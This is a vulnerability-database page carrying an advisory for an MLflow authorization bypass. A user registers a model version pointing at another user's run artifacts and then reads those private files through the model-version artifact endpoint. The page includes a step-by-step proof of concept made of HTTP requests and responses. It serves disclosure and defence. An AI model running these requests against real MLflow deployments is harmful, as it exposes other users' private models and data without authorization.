Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-gqch-g4w5-7qcw

HighCVSS 7.1 / 10
Published Aug 17, 2026·Last modified Aug 17, 2026
Affected Components(1)
npm logomlflow
< 3.15.0
Description

Summary

The _validate_source_run and _validate_source_model functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact.

Details

POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside _validate_source_run only verifies path containment, not caller authorization:

# mlflow/server/handlers.py  _validate_source_run()
def _validate_source_run(source: str, run_id: str) -> None:
    if is_local_uri(source):
        if run_id:
            store = _get_tracking_store()
            run = store.get_run(run_id)          # <-- no permission check on run_id
            source = pathlib.Path(local_file_uri_to_path(source)).resolve()
            if is_local_uri(run.info.artifact_uri):
                run_artifact_dir = pathlib.Path(...).resolve()
                if run_artifact_dir in [source, *source.parents]:
                    return                       # validation passes
        raise MlflowException(...)

After creation, the model version's source and run_id point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source:

GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>

This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200.

PoC

Prerequisites: MLflow v3.13.0, --app-name basic-auth, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.

  1. Alice uploads a private file:
# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt
echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt
  1. Bob directly tries to read alice's artifact -- blocked:
GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 403 (when alice's experiment is private)

  1. Bob creates a model version referencing alice's run_id as source anchor:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

Response: HTTP 200

{"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}}
  1. Bob reads alice's private file via the model version artifact handler:
GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 200 -- body contains ALICE_SECRET_MODEL_WEIGHTS=0.42

Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.

Impact

An authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.

Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
7.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.5

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.28%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard